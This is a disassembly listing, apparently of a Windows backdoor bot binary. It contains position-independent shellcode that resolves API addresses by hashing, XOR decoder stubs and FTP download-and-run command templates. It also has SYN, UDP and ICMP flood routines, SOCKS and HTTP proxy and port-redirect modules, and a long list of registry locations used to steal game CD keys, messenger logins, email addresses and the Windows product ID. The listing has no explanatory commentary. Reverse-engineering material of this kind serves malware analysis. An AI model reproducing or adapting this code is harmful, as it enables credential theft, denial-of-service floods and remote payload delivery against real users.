--------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_444A80 proc near ; DATA XREF: sub_425020+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_444AD2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_444A9D: ; CODE XREF: sub_444A80+38j jecxz short loc_444ACD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_444AA8: ; CODE XREF: sub_444A80+32j lodsb test al, al jz short loc_444AB4 ror edx, 0Dh add edx, eax jmp short loc_444AA8 ; --------------------------------------------------------------------------- loc_444AB4: ; CODE XREF: sub_444A80+2Bj cmp edx, [esp+arg_0] jnz short loc_444A9D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_444ACD: ; CODE XREF: sub_444A80:loc_444A9Dj mov [esp+arg_0], ebx retn sub_444A80 endp ; =============== S U B R O U T I N E ======================================= sub_444AD2 proc near ; CODE XREF: sub_444A80+7p ; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_444AEB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_444AF6 ; --------------------------------------------------------------------------- loc_444AEB: ; CODE XREF: sub_444AD2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_444AF6: ; CODE XREF: sub_444AD2+14j pop edi xor esi, esi pusha push esi jmp short loc_444B0A sub_444AD2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444AFD proc near ; CODE XREF: sub_444AD2:loc_444B0Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_444AFD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444AD2 loc_444B0A: ; CODE XREF: sub_444AD2+29j call sub_444AFD ; END OF FUNCTION CHUNK FOR sub_444AD2 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_444BA4 dd 23h dword_444BA8 dd 60h dword_444BAC dd 62B0606h, 2050501h, 0A0hdword_444BB8 dd 0A1h dword_444BBC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do align 4 loc_444BC8: ; DATA XREF: sub_424840+100o jmp short near ptr dword_444BD0 ; --------------------------------------------------------------------------- align 10h dword_444BD0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425020+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- loc_444C78: ; DATA XREF: sub_4254E0+CCo jmp short loc_444C7C ; --------------------------------------------------------------------------- loc_444C7A: ; CODE XREF: ___:loc_444C7Cp jmp short loc_444C81 ; --------------------------------------------------------------------------- loc_444C7C: ; CODE XREF: ___:loc_444C78j call loc_444C7A loc_444C81: ; CODE XREF: ___:loc_444C7Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_444C86 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w db 80h, 73h, 0Eh byte_444C8B db 0FFh ; DATA XREF: sub_4254E0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_444C90: ; DATA XREF: sub_4254E0+A7o jmp short loc_444C94 ; --------------------------------------------------------------------------- loc_444C92: ; CODE XREF: ___:loc_444C94p jmp short loc_444C99 ; --------------------------------------------------------------------------- loc_444C94: ; CODE XREF: ___:loc_444C90j call loc_444C92 loc_444C99: ; CODE XREF: ___:loc_444C92j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_444C9D db 0FFh ; DATA XREF: sub_4254E0+AEw dw 7380h db 0Ch byte_444CA1 db 0FFh ; DATA XREF: sub_4254E0+B4w dw 0E243h dd 0F9h dword_444CA8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_425270+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_444D0C dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_444D1C dd 74656720h byte_444D20 db 20h ; DATA XREF: sub_425270+A2r dword_444D21 dd 0E8006A00h dword_444D25 dd 17h ; sub_425270+D2r dword_444D29 dd 0E8C30175h dword_444D2D dd 1 ; sub_425270+E7r byte_444D31 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o dd 7E8h db 0, 0Fh, 84h dword_444D3B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_426450+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_4266A0+D0o align 10h dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o align 4 dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o align 8 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o align 10h aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o align 10h aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o align 10h aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o align 4 dd 0 aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o align 4 dd 0 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o align 8 aUdp db 'udp',0 ; DATA XREF: sub_427590+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o align 10h aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o align 10h off_444F40 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 10h dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_4282C0+D12o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o ; sub_4282C0+B97o dd 0 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o ; sub_4282C0+B79o align 4 dd 0 aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o dd 0 aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o align 8 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o align 10h aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do dd 0 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 8 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo ; sub_4282C0+9F0o align 8 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o align 10h asc_445230 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co ; sub_4282C0+52Co ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o align 10h aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o dd 0 aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo align 8 off_445258 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o align 10h aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o ; sub_42A090+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o align 8 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co align 10h dd 2 dup(0) dword_445338 dd 1000005h, 0 dword_445340 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42B880+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42B880+3Fo align 4 dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042C435o align 10h aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:00445408o align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 8 aCalloc db 'calloc',0 align 10h aSetsockopt db 'setsockopt',0 align 10h aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o ; sub_42C810:loc_42C8CDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o align 4 dd 0 aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o align 10h aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do dd 0 aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o align 10h dd 0 dword_4454E4 dd 524F5453h byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+EDr align 4 dword_4454EC dd 52544552h byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+D3r align 4 dword_4454F4 dd 5453494Ch byte_4454F8 db 0 ; DATA XREF: sub_42D2C0+B8r align 4 dword_4454FC dd 54534C4Eh byte_445500 db 0 ; DATA XREF: sub_42D2C0+9Er align 4 dword_445504 dd 45505954h, 632520h, 0 ; ___:0042E6CAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42D2C0+2Do align 4 dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h aListen db 'listen',0 align 4 aBind db 'bind',0 align 10h aGetsockname db 'getsockname',0 align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo align 8 aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o align 10h aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o align 10h aTimedOutWaitin db 'timed out waiting for connection',0 align 8 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 10h dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo align 10h dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo align 10h dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo dd 0 aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo align 4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo align 4 off_4456BC dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do ; "InterlockedCompareExchange" aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o dd 0 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o align 4 dd 0 word_4456FC dw 77h ; DATA XREF: sub_42E400+1Fr align 10h dword_445700 dd 25206425h, 64hdword_445708 dd 455A4953h, 732520h, 0dword_445714 dd 4D54444Dh, 732520h, 0dword_445720 dd 4F544E52h, 732520h, 0dword_44572C dd 52464E52h, 732520h, 0dword_445738 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o align 4 dword_44574C dd 1 ; sub_430460+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o ; ___:off_4456BCo align 10h aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o align 10h aA: ; DATA XREF: sub_433A20+36o unicode 0, <€>,0 dd 13h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 4468A4h, 446F70h, 446870h, 80000002h, 446810h dd 446F70h, 4467E0h, 80000002h, 446788h, 446F70h, 446764h dd 80000002h, 44671Ch, 446F70h, 446704h, 80000002h, 4466C0h dd 446F70h, 446698h, 80000002h, 44665Ch, 446F70h, 446628h dd 80000002h, 4465C8h, 446F70h, 44659Ch, 80000002h, 446578h dd 446570h, 446544h, 80000002h, 44651Ch, 446570h, 446504h dd 80000001h, 4464D4h, 4464D0h, 4464C0h, 80000002h, 446484h dd 446F70h, 446474h, 80000002h, 446438h, 446F70h, 446424h dd 80000002h, 4463DCh, 446F70h, 4463C0h, 80000002h, 44637Ch dd 446F70h, 446360h, 80000001h, 446338h, 4464D0h, 446328h dd 80000001h, 446300h, 4464D0h, 4462E0h, 80000002h, 4462A4h dd 4462A0h, 446284h, 80000002h, 446260h, 446258h, 446240h dd 80000001h, 446214h, 44620Ch, 4461E8h, 80000002h, 44619Ch dd 446F70h, 446174h, 80000002h, 446120h, 446F70h, 4460E8h dd 80000002h, 446084h, 446F70h, 446050h, 80000002h, 445FF0h dd 446F70h, 445FD4h, 80000002h, 445F8Ch, 446F70h, 445F70h dd 80000002h, 445F28h, 446F70h, 445F18h, 80000002h, 445EDCh dd 446F70h, 445ECCh, 80000002h, 445E90h, 446F70h, 445E68h dd 80000002h, 445E14h, 446F70h, 445DECh, 80000002h, 445D9Ch dd 446F70h, 445D80h, 80000002h, 445D58h, 4464D0h, 445D44h dd 80000002h, 445D0Ch, 446F70h, 445CDCh, 80000002h, 445C84h dd 446F70h, 445C68h, 80000001h, 445C18h, 445C10h, 445BF4h dd 80000002h, 445BB0h, 445BA4h, 445B8Ch, 80000001h, 445B5Ch dd 445B50h, 445B30h, 80000002h, 445AF4h, 445C10h, 445AD4h dd 80000002h, 445A98h, 445C10h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o align 4 dd 0 dword_44693C dd 3A6D6961h, 732520h, 0dword_446948 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:00434E82o db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_446A7C dd 3A6E736Dh, 732520h, 0dword_446A88 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00435447o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4356F0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo align 4 loc_446BB4: ; DATA XREF: sub_4356F0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_446BBF: ; DATA XREF: sub_4356F0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_446BCB: ; DATA XREF: sub_4356F0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_446BD7: ; DATA XREF: ___:00435EB6o ; ___:00436110o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_446BE8: ; CODE XREF: ___:00446BEDj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_446BE8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043633Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_446CE0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o ; ___:0043E354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Bh dup(0) byte_446F70 db 0 ; DATA XREF: sub_4034E0+95o ; sub_404640+200o ... align 4 dword_446F74 dd 0 ; sub_4245F0+11o ... dword_446F78 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ... align 10h dword_446F80 dd 0 ; ___:0040D345w ... dd 8 dup(0) dword_446FA4 dd 41h dup(0) ; ___:0040D380o ... dword_4470A8 dd 0 ; ___:loc_40D3D4r ... dword_4470AC dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ... dword_4470B0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw dword_4470B4 dd 0 ; sub_40D580+E3r dd 11h dup(0) dword_4470FC dd 0 ; sub_40FF60+47Dr dword_447100 dd 0 ; sub_40FF60+515r ... dword_447104 dd 0 ; sub_40FF60+655r ... dword_447108 dd 0 ; sub_40FF60+B79r ... dword_44710C dd 0 ; sub_40FF60+74Br dword_447110 dd 0 ; sub_40FF60+828r dword_447114 dd 0 ; sub_40FF60+77Cr dword_447118 dd 0 ; sub_40FF60+4DDr ... dword_44711C dd 0 ; sub_40FF60+311r dword_447120 dd 0 ; sub_40FF60+34Dr ... dword_447124 dd 0 ; sub_40FF60+33Dr dword_447128 dd 0 ; sub_40FF60+3D2r dword_44712C dd 0 ; sub_40FF60+E93r dword_447130 dd 0 ; sub_40FF60+1220r ... dword_447134 dd 0 ; sub_411FE0+4DAr dword_447138 dd 0 ; sub_40FF60+683r dword_44713C dd 0 ; sub_40FF60+6B5r dword_447140 dd 0 ; sub_40FF60+1252r dd 5 dup(0) dword_447158 dd 10h dup(0) ; ___:0040405Fo ... db 2 dup(0) byte_44719A db 0 ; DATA XREF: sub_409A30r sub_409AA0r align 4 db 3 dup(0) byte_44719F db 0 